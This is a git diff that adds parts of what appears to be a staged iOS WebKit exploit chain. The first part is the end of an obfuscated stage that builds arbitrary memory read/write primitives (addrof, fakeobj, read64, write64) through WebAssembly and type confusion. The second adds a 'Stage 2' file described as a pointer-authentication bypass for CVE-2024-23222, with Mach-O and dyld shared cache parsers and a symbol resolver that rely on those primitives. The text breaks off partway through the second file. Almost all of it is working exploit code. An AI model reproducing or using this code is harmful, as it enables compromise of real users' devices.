0xfffe000000055432n && e.read64(n + 0x8n * 2n) == 0xfffe000000055432n && e.read64(n + 0x8n * 3n) == 0xfffe0000000ff432n && e.read64(n + 0x8n * 5n) == 0xfffe0000000ff432n) { + o(""); + const t = e.read64(n + 0x8n * 1n); + const r = e.read64(t + 0x8n); + o(""); + const i = e.read64(n + 0x8n * 4n); + const s = e.read64(i + 0x8n); + o(""); + o(""); + o(""); + o(""); + const l = e.read64(r); + o(""); + const h = e.read64(l + rt(tt[w])); + o(""); + const a = h + rt(tt[c]); + o(""); + const f = e.read64(r + 0x8n); + o(""); + const p = e.read64(f + rt(tt[w])); + o(""); + const m = p + rt(tt[c]); + o(""); + e.write64(p + rt(tt[u]), 0x8000000000000000n); + e.write64(h + rt(tt[u]), 0x8000000000000000n); + e.write64(a, m); + e.write64(s + 0x0n, p); + e.write64(s + 0x8n, m); + e.write64(s + 0x10n, h); + e.write64(s + 0x18n, a); + e.write64(s + 0x20n, t); + e.write64(s + 0x28n, 0x0n); + return; + } + } + self.setTimeout(U, 10); + }; + self.setTimeout(U, 0); + }, 120); + } + o(""); + try { + await $(); + await q(); + } catch (t) { + if (t === r) self.postMessage({ + type: r + });else throw t; + } + }; + const ht = async (t) => { + o(""); + const e = JSON.parse("[0.0, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.10]"); + const c = new ut(); + const h = c.os; + e[0] = c.Oi.wn(0xdeadn); + e[1] = -0; + h[0] = c.es; + h[1] = c.ss; + const u = () => { + const n = [349234, h, 349234, 1045554, e, 1045554]; + const r = (t, ...e) => { + try { + r(t + 1, ...n, ...e); + } catch (t) {} + }; + r(0, n); + if (e[5] !== 6.6) { + o(""); + try { + o(""); + c.ws = c.Oi.Co(e[0]); + c.ds = c.Oi.Co(e[1]); + c.ys = c.Oi.Co(e[2]); + c.As = c.Oi.Co(e[3]); + c.Us = c.Oi.Co(e[4]); + P.platformState.exploitPrimitive = c; + t(); + } catch (t) { + o(t); + } + } else window.setTimeout(u, 0); + }; + const a = () => { + const t = q.toString(); + const e = "(" + t.toString() + ")()"; + const c = URL.createObjectURL(new Blob([e], { + type: "text/javascript" + })); + const h = new Worker(c); + URL.revokeObjectURL(c); + o(""); + h.onerror = (t) => { + o(""); + }; + h.onmessage = (t) => { + if (t.data.type === n) ;else if (t.data.type === r) { + o(""); + h.terminate(); + a(); + } else if (t.data.type === i) { + o(""); + window.setTimeout(u, 0); + } + }; + h.postMessage({ + type: s, + xn: l + }); + }; + a(); + }; + class ut { + addrof(t) { + return x.K(this.getObjectAddress(t)); + } + readStringFromInt64(t, e = 256) { + const n = x.O(t.yt()); + return this.readString(n, e); + } + readInt64FromOffset(t) { + const e = this.read32(x.O(t)); + const n = this.read32(x.O(t + 4)); + return new x.Int64(e, n); + } + read32FromInt64(t) { + return this.read32(x.O(t.yt())); + } + readInt64FromInt64(t) { + return this.readInt64FromOffset(t.yt()); + } + writeInt64ToOffset(t, e) { + const n = x.O(t); + const r = e.Nt(); + this.write64(n, r); + } + readDoubleAsPointer(t, e = false) { + const n = this.read32(x.O(t)); + let r = this.read32(x.O(t + 4)); + if (e === true || tt[Z]) r &= st; + return x.T(n, r); + } + readRawBigInt(t) { + return this.readInt64FromOffset(t).yt(); + } + busyWait(t, e = 768) { + for (let t = 0; t < e; t += 8) o(""); + } + copyBigInt(t, e) { + this.write64(x.O(t), x.O(e)); + } + fakeobj(t) { + if (t instanceof ArrayBuffer) t = new Uint8Array(t); + const e = this.getObjectAddress(t); + return x.K(lt(this.read64(e + rt(tt[m])))); + } + withTempOverrides(t, ...e) { + const n = new Array(e.length + 10); + for (let t = 0; t < e.length; t++) n[t] = this.readInt64FromOffset(e[t].Ir); + try { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, e[t].Zt); + t(); + } finally { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, n[t]); + } + } + constructor() { + const t = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 9, 2, 96, 0, 1, 126, 96, 1, 126, 0, 3, 3, 2, 0, 1, 4, 4, 1, 111, 0, 1, 5, 3, 1, 0, 1, 6, 82, 8, 123, 1, 253, 12, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 11, 126, 1, 66, 205, 215, 182, 222, 218, 249, 234, 230, 171, 127, 11, 123, 1, 253, 12, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 11, 111, 1, 208, 111, 11, 111, 1, 208, 111, 11, 111, 1, 208, 111, 11, 111, 1, 208, 111, 11, 111, 1, 208, 111, 11, 7, 29, 4, 4, 101, 100, 102, 121, 3, 1, 6, 109, 101, 109, 111, 114, 121, 2, 0, 3, 98, 116, 108, 0, 0, 3, 97, 108, 116, 0, 1, 10, 13, 2, 4, 0, 35, 1, 11, 6, 0, 32, 0, 36, 1, 11]); + const e = (t) => t.exports["btl"](); + const n = (t, e) => { + t.exports["alt"](e); + }; + this.ts = []; + const r = new WebAssembly.Module(t, {}); + this.es = new WebAssembly.Instance(r, {}); + this.es[0] = 3; + this.rs = e.bind(null, this.es); + this.ns = n.bind(null, this.es); + this.ss = new WebAssembly.Instance(r, {}); + this.ss[0] = 3; + this.ls = e.bind(null, this.ss); + this.hs = n.bind(null, this.ss); + this.os = [{}, 1, 8]; + this.os["q23"] = 90; + this.Qi = new ArrayBuffer(16); + this.fs = new Uint32Array(this.Qi); + this.cs = new BigUint64Array(this.Qi); + this.bs = new ArrayBuffer(32); + this.us = new DataView(this.bs); + this.Oi = new ft(); + const i = 0n; + for (let t = 0; t < 1; t++) { + this.rs(); + this.ls(); + this.ns(i); + this.hs(i); + } + this.Po = 1; + this.Fo = 2; + this.No = 4; + this.ko = 8; + this.Io = new at(this); + } + So() { + return this.Io; + } + storeExploitState(t, e, n, r, i) { + this.ws = this.Oi.Bn(t); + this.ds = this.Oi.Bn(e); + this.ys = this.Oi.Bn(n); + this.As = this.Oi.Bn(r); + this.Us = this.Oi.Bn(i); + o(""); + o(""); + o(""); + o(""); + o(""); + } + cleanup() {} + writeToInstanceA(t) { + this.ns(t); + } + writeAndRead(t) { + this.writeToInstanceA(t); + return this.ls(); + } + writeAndWrite(t, e) { + this.writeToInstanceA(t); + return this.hs(e); + } + read64(t) { + this.cs[0] = this.writeAndRead(t); + return this.cs[0]; + } + getJITCodePointer(t) { + if (!(t instanceof Function)) throw new Error("!(t instanceof Function)"); + const e = this.getObjectAddress(t); + const n = this.read64(e + BigInt(tt[y])); + return n; + } + write32(t, e) { + if (typeof t === "bigint") { + const n = this.read64(t); + this.cs[0] = n; + this.fs[0] = e; + const r = this.cs[0]; + this.writeAndWrite(t, r); + } else return this.write32(x.O(t), e); + } + allocCString(t) { + const e = new Uint8Array(new ArrayBuffer(t.length + 1)); + for (let n = 0; n < t.length; n++) e[n] = t.charCodeAt(n); + return [e, this.getDataPointer(e)]; + } + allocZeroBuffer(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))); + const n = this.getDataPointer(e); + this.ts.push(e); + return n; + } + allocZeroBufferPair(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))); + const n = this.getDataPointer(e); + this.ts.push(e); + return [e, n]; + } + getDataPointer(t) { + if (t instanceof ArrayBuffer) t = new Uint8Array(t); + const e = this.getObjectAddress(t); + return lt(this.read64(e + 0x10n)); + } + patchByte(t, e) { + this.us.setBigUint64(0, this.read64(t), true); + this.us.setUint8(0, e, true); + this.write64(t, this.us.getBigUint64(0, true)); + } + readString(t, e = 768) { + let n = t; + if (typeof t === "number") n = x.O(t); + let r = ""; + for (let t = 0; t < e; t++) { + const e = this.readByte(n + BigInt(t)); + if (e === 0) break; + r += String.fromCharCode(e); + } + return r; + } + readByte(t) { + return this.read32(t) & 255; + } + read32(t) { + if (typeof t === "bigint") { + this.cs[0] = this.writeAndRead(t); + return this.fs[0]; + } else return this.read32(x.O(t)); + } + write64(t, e) { + return this.writeAndWrite(t, e); + } + getObjectAddress(t) { + this.os[0] = t; + const e = this.read64(this.Us + 0x8n); + const n = this.read64(e); + this.os[0] = null; + return n; + } + _o(t) { + if (!(t instanceof Uint32Array) && !(t instanceof BigUint64Array) && !(t instanceof Uint8Array) && !(t instanceof Uint16Array)) throw new Error("jsobj must be a BigUint64Array, or a Uint[8,16,32]Array"); + const e = this.getObjectAddress(t); + return S(this.read64(e + rt(globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags["iWQGB1"]))); + } + } + class at { + constructor(t) { + this.Wo = t; + } + jo(t) { + for (const [e, n] of t) for (let [t, r, i] of n) { + if (i === void 0 || i === null) i = 0x0n; + i = rt(i); + if (t != 8) i = Number(i.toString()); + switch (t) { + case 1: + this.Wo.patchByte(rt(e) + rt(r), i); + break; + case 2: + this.Wo.Ro(rt(e) + rt(r), i); + break; + case 4: + this.Wo.write32(rt(e) + rt(r), i); + break; + case 8: + this.Wo.write64(rt(e) + rt(r), i); + break; + default: + throw new Error("unreachable"); + } + } + } + } + class ft { + constructor() { + this.rn = new ArrayBuffer(16); + this.en = new DataView(this.rn); + } + un(t) { + this.en.setInt16(0, t, true); + return this.en.getInt16(0, true); + } + on(t) { + this.en.setUint16(0, t, true); + return this.en.getUint16(0, true); + } + sn(t) { + if (typeof t === "bigint") this.en.setBigUint64(0, t, true);else this.en.setUint32(0, t, true); + return this.en.getUint32(0, true); + } + hn(t, e) { + this.en.setFloat64(0, t, true); + this.en.setUint32(0, e, true); + return this.en.getFloat64(0, true); + } + cn(t, e) { + this.en.setFloat64(0, t, true); + this.en.setUint32(4, e, true); + return this.en.getFloat64(0, true); + } + fn(t) { + for (let e = 0; e < 8 / 2; e++) { + let n = t.charCodeAt(e); + if (Number.isNaN(n)) throw new Error("Number.isNaN(n)"); + this.en.setUint16(e * 2, n, true); + } + return this.en.getBigUint64(0, true); + } + an(t) { + this.en.setFloat32(0, t, true); + return this.en.getUint32(0, true); + } + wn(t) { + this.en.setBigUint64(0, t, true); + return this.en.getFloat64(0, true); + } + Co(t) { + this.en.setFloat64(0, t, true); + return this.en.getBigUint64(0, true); + } + gn(t, e) { + this.en.setBigUint64(0, t, true); + this.en.setUint8(0, Number(e)); + return this.en.getBigUint64(0, true); + } + ln(t, e) { + this.en.setBigUint64(0, t, true); + this.en.setUint32(0, Number(e), true); + return this.en.getBigUint64(0, true); + } + bn(t, e) { + this.en.setUint32(0, t, true); + this.en.setUint8(0, Number(e)); + return this.en.getUint32(0, true); + } + Un(t, e) { + this.en.setUint32(0, t, true); + this.en.setUint32(0, Number(e), true); + return this.en.getUint32(0, true); + } + Bn(t) { + this.en.setUint32(0, Number(t >>> 0), true); + this.en.setUint32(4, Number(t / 4294967296), true); + return this.en.getBigUint64(0, true); + } + mn(t, e) { + this.en.setBigUint64(0, t, true); + this.en.setUint32(0, Number(e), true); + return this.en.getBigUint64(0, true); + } + In(t) { + this.en.setBigUint64(0, t, true); + return this.en.getBigUint64(0, true); + } + } + if (navigator.constructor.name === "Navigator") { + et(); + ht(t); + } else { + o(""); + self.onmessage = (t) => { + o(""); + if (t.data.type === s) { + o(""); + l = t.data.xn; + et(); + ct(); + } + }; + } +} +async function X() { + await new Promise((t) => { + try { + q(t, P.platformState.iOSVersion); + } catch (t) { + P.platformState.exploitPrimitive = void 0; + } + }); + return P.platformState.exploitPrimitive; +} +r.si = X; +return r; \ No newline at end of file diff --git a/Stage2_16.3_16.5.1_seedbell.js b/Stage2_16.3_16.5.1_seedbell.js new file mode 100644 index 0000000..087c7bc --- /dev/null +++ b/Stage2_16.3_16.5.1_seedbell.js @@ -0,0 +1,1525 @@ +/** + * Stage 2: PAC (Pointer Authentication Code) Bypass via Intl.Segmenter Iterator Corruption + * Module hash: 17480ecc0120292fb6b8b19f2fa134385dcfd0fd + * + * This module implements the PAC bypass for CVE-2024-23222 by corrupting the + * Intl.Segmenter iterator vtable. By overwriting the vtable pointer of an + * ICU BreakIterator with PAC-signed gadget addresses, the exploit can invoke + * arbitrary PAC-signed function pointers, defeating ARM64e pointer authentication. + * + * Key capabilities: + * - Mach-O load command parser (Y / parseMachOHeaders, class tt / MachOImage) + * - dyld shared cache image list (class nt / ImageList) + * - Export trie parser (class nr / ExportTrieParser, class tr / TrieNodeReader) + * - ARM64 gadget finder (class or / ARM64GadgetFinder) + * - Intl.Segmenter vtable corruption for PAC bypass (const en / SegmenterExploit) + * - Segmenter offset constants (const tn/on / segmenterOffsets) + * - PAC bypass classes (class it / PACBypassBase, class nn / PACBypass) + * - stripPACBits helper (function cn / stripPACBits) + * + * Module dependencies: + * - 57620206d62079baad0e57e6d9ec93120c0f5247 (utility_module.js) + * - 14669ca3b1519ba2a8f40be287f646d4d7593eb0 (platform_module.js) + */ + +let r = {}; +globalThis.moduleManager.evalCode("ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8", function () { + let r = {}; + + // ════════════════════════════════════════════════════════════════════════════ + // Module imports (first code section - Int64-based Mach-O parser) + // ════════════════════════════════════════════════════════════════════════════ + + const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), // utility_module + { + N: G // toHexString + } = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), // platform_module + { + zn: F // platform info object + } = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + Z = F.Ln; // memory accessor + + // ════════════════════════════════════════════════════════════════════════════ + // Mach-O parser (function Y / parseMachOHeaders and class tt / MachOImage) + // ════════════════════════════════════════════════════════════════════════════ + + /* Original: parseMachOHeaders */ + function Y(t, r = !1) { + const e = platformModule.platformState.exploitPrimitive, // memory read/write primitives + n = e.read32FromInt64(t.H(16)); // number of load commands (ncmds) + let s = t.H(32), // pointer past mach_header_64 (start of load commands) + i = new utilityModule.Int64(0, 0), // ASLR slide + o = !0, // flag: is TEXT segment zero-based + h = !1, // flag: has symtab/dyld_info + c = null, // symtab/export offset + l = null, // resolved slide address + f = null, + a = 0, // symtab/export size + u = null, // __LINKEDIT adjusted pointer + d = null, // __auth_got address + w = null, // has LC_BUILD_VERSION + g = null, // build version platform + m = !1; // has LC_MAIN (MH_EXECUTE) + const E = []; // collected segments + for (let f = 0; f < n; f++) { + const n = e.read32FromInt64(s), // load command type (cmd) + f = e.read32FromInt64(s.H(4)); // load command size (cmdsize) + switch (n) { + case 15: // LC_MAIN (0x0F) — marks an executable + m = !0; + break; + case 50: // LC_BUILD_VERSION (0x32) + r && 1 === e.read32FromInt64(s.H(8)) && (w = !0, g = e.read32FromInt64(s.H(12))); + break; + case 25:{// LC_SEGMENT_64 (0x19) + const n = { + Xe: e.readStringFromInt64(s.H(8), 16), // segname (e.g. "__TEXT", "__LINKEDIT") + qe: e.readInt64FromInt64(s.H(24)), // vmaddr + Eo: e.readInt64FromInt64(s.H(24)), // vmaddr (duplicate read) + Oo: e.readInt64FromInt64(s.H(32)), // vmsize + Qe: e.readInt64FromInt64(s.H(40)), // fileoff + zo: e.readInt64FromInt64(s.H(48)), // filesize + $o: e.read32FromInt64(s.H(56)), // maxprot + qo: e.read32FromInt64(s.H(60)), // initprot + Mo: e.read32FromInt64(s.H(64)), // nsects + flags: e.read32FromInt64(s.H(68)), // flags + Do: s.H(72), // pointer to first section_64 + Lo: {}, // sections by name + dump() {} + }; + if (r) + for (let t = 0; t < n.Mo; t += 1) { + const r = n.Do.H(80 * t), // each section_64 is 80 bytes + s = { + Xe: e.readStringFromInt64(r.H(16), 16), // segname + Vo: e.readStringFromInt64(r.H(0), 16), // sectname + qe: e.readInt64FromInt64(r.H(32)), // addr + Oo: e.readInt64FromInt64(r.H(40)), // size + Qe: e.read32FromInt64(r.H(48)), // offset + dump() {} + }; + n.Lo[s.Vo] = s; + } + switch (E.push(n), n.Xe) { + case "__TEXT": // __TEXT segment — compute ASLR slide + n.Qe.Et() ? o = !1 : l = t.sub(n.Qe), i = t.sub(n.qe); + break; + case "__LINKEDIT": // __LINKEDIT segment — for symbol/export data + u = n.qe.add(i).sub(n.Qe); + break; + case "__AUTH_CONST": // __AUTH_CONST segment — PAC authenticated pointers + if (r) { + const t = n.Lo.__auth_got; // __auth_got section + void 0 !== t && (d = t.qe.add(i)); + } + } + break; + } + case 0x80000022 /* = LC_DYLD_INFO_ONLY */: + h = !0, c = e.read32FromInt64(s.H(40)), a = e.read32FromInt64(s.H(44)); + break; + case 0x80000033 /* = LC_DYLD_EXPORTS_TRIE */: + h = !0, c = e.read32FromInt64(s.H(8)), a = e.read32FromInt64(s.H(12)); + } + s = s.H(f); + } + let _ = i; + if (r && !o && !m) { + const r = e.read32FromInt64(t.H(4)); // cputype field from mach_header_64 + if (w && 0x0100000c /* CPU_TYPE_ARM64 variant */ === r && g >= 0xb0000 /* platform version threshold */) { + if (null === d) throw new Error("null === d"); + let t = e.readInt64FromInt64(d).Dt(); + if (t.Et()) throw new Error("t.Et()"); + for (t = t.Bt(t.it % 4096); + 0xFEEDFACF /* Not 0xFEEDFACF — searching for dyld cache header */ !== e.read32FromInt64(t);) t = t.Bt(4096); + const r = this.Xo(t); + l = r.Ho.Zo, _ = r.Ho.Ko; + } + } + // Rebase segment vmaddrs by ASLR slide + for (let t = 0; t < E.length; t++) { + const r = E[t], + e = r.qe; + r.qe = e.add(i); + } + return h && c && (f = u.H(c)), new tt({ + Go: t, // base address (mach_header pointer) + Jo: n, // ncmds + Qo: i, // ASLR slide + Yo: u, // __LINKEDIT adjusted base + Zo: l, // resolved slide address + Ko: _, // image base + th: f, // export/symtab data pointer + rh: a // export/symtab data size + }, E); + } + r.ur = function () { + return Y(platformModule.platformState.yn, !0); // parse the main executable + }, r.Xo = Y; + + /* Original: MachOImage — wraps parsed Mach-O headers */ + class tt { + constructor(t, r) { + this.Ho = t, this.eh = r, this.nh = new Uint8Array([]), this.sh = !1; + } + sr() { + return new rt(this); // create Int64-based export resolver + } + ar() { + return new et(this); // create BigInt-based export resolver + } + ih(t) { + const r = this.oh("_" + t); + return r ? this.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + // Export trie lookup (Int64-based, inline byte-level ULEB128 parser) + oh(t) { + if (!1 === this.sh) { + this.sh = !0; + const t = new Uint32Array(this.Ho.rh + 3 >> 2); + for (let r = 0; r < t.length; r++) t[r] = platformModule.platformState.exploitPrimitive.read32FromInt64(this.Ho.th.H(4 * r)); + this.nh = new Uint8Array(t.buffer); + } + const r = this.nh; + let e = "", + n = 0, + s = !1; + for (; !s;) { + s = !0; + let i = 0, + o = 0; + // Read ULEB128 — terminal size + do { + i += (127 & r[n]) << o, o += 7; + } while (128 & r[n++]); + if (e === t && 0 !== i) { + n++; + let t = 0; + o = 0; + // Read ULEB128 — symbol offset + do { + t += (127 & r[n]) << o, o += 7; + } while (128 & r[n++]); + return t; + } + n += i; + const h = r[n++]; // number of children + for (let i = 0; i < h; i++) { + let i = ""; + for (; 0 !== r[n];) i += String.fromCharCode(r[n++]); + n++; + let h = 0; + o = 0; + // Read ULEB128 — child node offset + do { + h += (127 & r[n]) << o, o += 7; + } while (128 & r[n++]); + if (i.length && e + i === t.substr(0, e.length + i.length)) { + e += i, n = h, s = !1; + break; + } + } + } + return 0; + } + } + + // Int64-based symbol resolver (uses MachOImage.oh for trie lookup) + class rt { + constructor(t) { + this.hh = t, this.lh = this.hh.Ho.Go; + } + ih(t) { + const r = this.hh.oh("_" + t); + return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + dlsym(t) { + const r = this.hh.oh("_" + t); + if (!r) throw new Error("Stage2 rt.dlsym(" + t + "): symbol not found"); + return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + ah(t) { + return 0 !== this.hh.oh("_" + t); + } + uh(...t) { + for (const r of t) try { + return this.dlsym(r); + } catch (t) { + continue; + } + throw new Error("rt.uh(...t) failed"); + } + } + + // BigInt-based symbol resolver and segment inspector + class et { + constructor(t) { + this.hh = t, this.dh = null, this.wh = this.hh.Ho.Go.yt(); // base address as BigInt + } + ih(t) { + const r = this.hh.oh("_" + t); + return r ? this.wh + r : 0; + } + uh(...t) { + for (const r of t) try { + return this.dlsym(r); + } catch (t) { + continue; + } + throw new Error("et.uh(...t) failed"); + } + ah(t) { + return 0 !== this.hh.oh("_" + t); + } + dlsym(t) { + const r = this.hh.oh("_" + t); + if (!r) throw new Error("Stage2 et.dlsym(" + t + "): symbol not found"); + return this.wh + r; + } + // Convert segment info to BigInt representation + gh(t) { + return { + Xe: t.Xe, // segment name + qe: t.qe.yt(), // vmaddr + Eo: t.Eo.yt(), // vmaddr (dup) + Oo: t.Oo.yt(), // vmsize + Qe: t.Qe.yt(), // fileoff + zo: t.zo.yt(), // filesize + $o: t.$o, // maxprot + qo: t.qo, // initprot + Mo: t.Mo, // nsects + flags: t.flags, + Do: t.Do.yt(), // sections pointer + Lo: t.Lo // sections dict + }; + } + // Convert section info to BigInt representation + mh(t) { + return { + Xe: t.Xe, // segname + Vo: t.Vo, // sectname + qe: t.qe.yt(), // addr + Oo: t.Oo.yt(), // size + Qe: t.Qe.yt() // offset + }; + } + // Find segment by name and return BigInt version + Eh(t) { + for (let r = 0; r < this.hh.eh.length; r++) + if (this.hh.eh[r].Xe === t) return this.gh(this.hh.eh[r]); + return null; + } + // Find section by segment name + section name + _h(t, r) { + const e = this.Eh(t); + if (null !== e) { + if (0 !== Object.keys(e.Lo).length) { + const t = e.Lo[r]; + return void 0 !== t ? this.mh(t) : null; + }{ + let n = null; + for (let s = 0; s < e.Mo; s++) { + const i = e.Do + 80 * s, + o = t, + h = platformModule.platformState.exploitPrimitive.readString(i, 16), + c = { + Xe: o, + Vo: h, + qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 32).add(this.hh.Ho.Qo), + Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 40), + Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 48) + }; + r === h && (n = c), e.Lo[h] = c; + } + return n ? this.mh(n) : null; + } + } + return null; + } + // Find section by segment + section name (direct scan) + bh(t, r) { + const e = this.Eh(t); + if (null !== e) + for (let n = 0; n < e.Mo; n++) { + const s = e.Do + 80 * n, + i = t, + o = platformModule.platformState.exploitPrimitive.readString(s, 16); + if (r === o) { + const t = { + Xe: i, + Vo: o, + qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 32).add(this.hh.Ho.Qo), + Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 40), + Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 48) + }; + return this.mh(t); + } + } + return null; + } + // Get segment or throw + ph(t) { + const r = this.Eh(t); + if (!r) throw new Error("Stage2 et.ph(" + t + "): segment not found"); + return r; + } + // Get or create the ImageList (dyld shared cache image list) + Sh() { + return null === this.dh && (this.dh = new nt(this.hh.Ho.Ko.yt(), this.hh.Ho.Zo.yt())), this.dh; + } + // Resolve exported symbol to a pointer (BigInt) + xh(t) { + const r = this.ih(t); + return 0 !== r ? platformModule.platformState.exploitPrimitive.readInt64FromOffset(r) : new utilityModule.Int64(0, 0); + } + // Convert virtual address to file address + Ih(t) { + const r = this.ph("__TEXT"); + return t - r.Eo + r.qe; + } + Th(t) { + const r = this.ih(t); + return 0 !== r ? platformModule.platformState.exploitPrimitive.readRawBigInt(r) : 0; + } + yh(t, r) { + const e = this.ih(t); + return 0 !== e ? platformModule.platformState.exploitPrimitive.readByte(e) : r; + } + // Search a segment for a specific 64-bit value + kh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) { + const n = e.qe + t; + if (platformModule.platformState.exploitPrimitive.read32(n) === r >>> 0 && platformModule.platformState.exploitPrimitive.read32(n + 4) === r / 4294967296 >>> 0) return n; + } + throw new Error("et.kh(t, r) failed"); + } + // Check if an address falls within a segment + Oh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + const n = e.qe, + s = e.qe + e.Oo; + return r >= n && r < s; + } + // Check if an address falls within a specific section + zh(t, r, e) { + const n = this._h(t, r); + if (null === n) throw new Error("null === n"); + const s = n.qe, + i = n.qe + n.Oo; + return e >= s && e < i; + } + // Check if address is in any segment + Ph(t) { + for (let r = 0; r < this.hh.eh.length; r++) + if (this.Oh(this.hh.eh[r].Xe, t)) return !0; + return !1; + } + // Search segment for a 64-bit value and return address where found + Uh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) + if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return e.qe + t; + throw new Error("et.Uh(t, r) failed"); + } + // Search segment and return the read value at match + Ah(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) + if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return platformModule.platformState.exploitPrimitive.readInt64FromOffset(e.qe + t); + throw new Error("et.Ah(t, r) failed"); + } + // Cross-segment search with callback + $h(t, r, e) { + const n = this.Eh(t); + if (null === n) throw new Error("null === n"); + const s = this.Eh(r); + if (null === s) throw new Error("null === s"); + for (let t = 0; t < s.Oo; t += 8) { + const r = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(s.qe + t); + if (r >= n.qe && r < n.qe + n.Oo && !0 === e(r, platformModule.platformState.exploitPrimitive.readInt64FromOffset(s.qe + t))) break; + } + } + // Iterate segment in 4-byte steps with callback + qh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 4) { + const n = e.qe + t; + if (!0 === r(n, platformModule.platformState.exploitPrimitive.read32(n))) break; + } + } + // Iterate segment in 8-byte steps with callback using memory accessor + Rh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) { + const n = e.qe + t; + if (!0 === r(Z.ut(n))) break; + } + } + // Find which segment contains a given Int64 address + Ch(t) { + for (const r of this.hh.eh) { + const e = Z.ut(r.qe), + n = Z.ut(r.qe).H(utilityModule._(r.Oo)); + if (t.Pi(e) && t.Si(n)) return r; + } + return null; + } + } + + // ════════════════════════════════════════════════════════════════════════════ + // Image list — dyld shared cache image enumeration (class nt / ImageList, first definition) + // ════════════════════════════════════════════════════════════════════════════ + + /* Original: ImageList (first definition, Int64-based) */ + class nt { + constructor(t, r) { + this.Mh = t, // dyld shared cache slide + this.Dh = r, // dyld shared cache header address + this.Lh = !1, // uses new-format image info + this.Bh = {}, // cached parsed images + this.images = this.Nh(); + } + Vh() { + return platformModule.platformState.exploitPrimitive.readString(this.Dh); // read magic string at cache header + } + Xh() { + return "dyld_v1 arm64e" === this.Vh(); // check if arm64e cache + } + Zh() { + return this.Mh; // return cache slide + } + // Parse the image list from the dyld shared cache header + Nh() { + const t = []; + if (!this.Vh().startsWith("dyld")) throw new Error("!this.Vh().startsWith(dyld)"); // "dyld_v1 arm64e" + let r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 24), // imagesOffset + e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 28); // imagesCount + // Fallback to new-style offsets if old ones are zero + if (0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452), 0 === r && 0 === e)) throw new Error("0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452), 0 === r && 0 === e)"); + for (let n = 0; n < e; n++) { + const e = this.Dh + r + 32 * n, // each image info is 32 bytes + s = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e) + this.Mh, // image load address + slide + i = platformModule.platformState.exploitPrimitive.read32(e + 24), // pathFileOffset + o = platformModule.platformState.exploitPrimitive.readString(this.Dh + i); // image path string (e.g. "/usr/lib/libSystem.B.dylib") + t.push({ + address: s, + path: o + }); + } + return t; + } + // List all image paths + jh() { + const t = []; + for (const r of this.images) t.push(r.path); + return t; + } + // Resolve a symbol in a specific image + Fh(t, r) { + return this.Hh(t).dlsym(r); + } + // Search all images for a symbol + Kh(t) { + for (const r of this.images) try { + return this.Hh(r.path).dlsym(t); + } catch (t) { + continue; + } + throw new Error("nt.Kh(t) failed"); + } + // Find image base address by path substring + Gh(t) { + for (let r = 0; r < this.images.length; r++) + if (-1 !== this.images[r].path.indexOf(t)) return this.images[r].address; + return 0; + } + // Parse an image and return its export resolver (cached) + Hh(t) { + if (void 0 === this.Bh[t]) { + const r = this.Gh(t); + if (0 === r) return null; + this.Bh[t] = Y(utilityModule.Int64.fromNumber(r)).ar(); // parse Mach-O, get BigInt resolver + } + return this.Bh[t]; + } + Jh(t) { + const r = this.Hh(t); + if (null === r) throw new Error("null === r"); + return r; + } + // Try multiple image paths, return first successful + Qh(...t) { + for (const r of t) try { + return this.Jh(r); + } catch (t) {} + throw new Error("nt.Qh(...t) failed"); + } + } + return r; +}); + +// ════════════════════════════════════════════════════════════════════════════ +// Module imports (second code section — BigInt-based PAC bypass) +// ════════════════════════════════════════════════════════════════════════════ + +const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), // utility_module + { + N: G, // toHexString + tn: W, // assert + nn: C, // TypeHelper + Vt: m, // Int64 + U: j, // toBigInt + An: S, // unsignedBigIntToNumber + vn: O, // debug/unused + v: o, // 